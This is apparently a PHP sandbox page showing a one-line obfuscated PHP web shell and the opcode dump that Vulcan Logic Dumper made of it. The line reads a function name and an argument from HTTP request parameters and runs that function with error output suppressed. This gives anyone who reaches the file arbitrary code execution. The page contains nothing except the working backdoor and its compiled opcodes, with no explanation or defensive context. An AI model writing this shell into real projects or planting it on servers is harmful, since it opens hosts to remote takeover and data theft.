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<?=($_=@$_REQUEST[b]).@$_($_REQUEST[a])?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/ap6NL
function name:  (null)
number of ops:  18
compiled vars:  !0 = $_
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   BEGIN_SILENCE                                    ~1      
          1        FETCH_CONSTANT                                   ~3      'b'
          2        FETCH_R                      global              ~2      '_REQUEST'
          3        FETCH_DIM_R                                      ~4      ~2, ~3
          4        END_SILENCE                                              ~1
          5        ASSIGN                                           ~5      !0, ~4
          6        BEGIN_SILENCE                                    ~6      
          7        INIT_DYNAMIC_CALL                                        !0
          8        CHECK_FUNC_ARG                                           
          9        FETCH_CONSTANT                                   ~8      'a'
         10        FETCH_FUNC_ARG               global              $7      '_REQUEST'
         11        FETCH_DIM_FUNC_ARG                               $9      $7, ~8
         12        SEND_FUNC_ARG                                            $9
         13        DO_FCALL                                      0  $10     
         14        END_SILENCE                                              ~6
         15        CONCAT                                           ~11     ~5, $10
         16        ECHO                                                     ~11
         17      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


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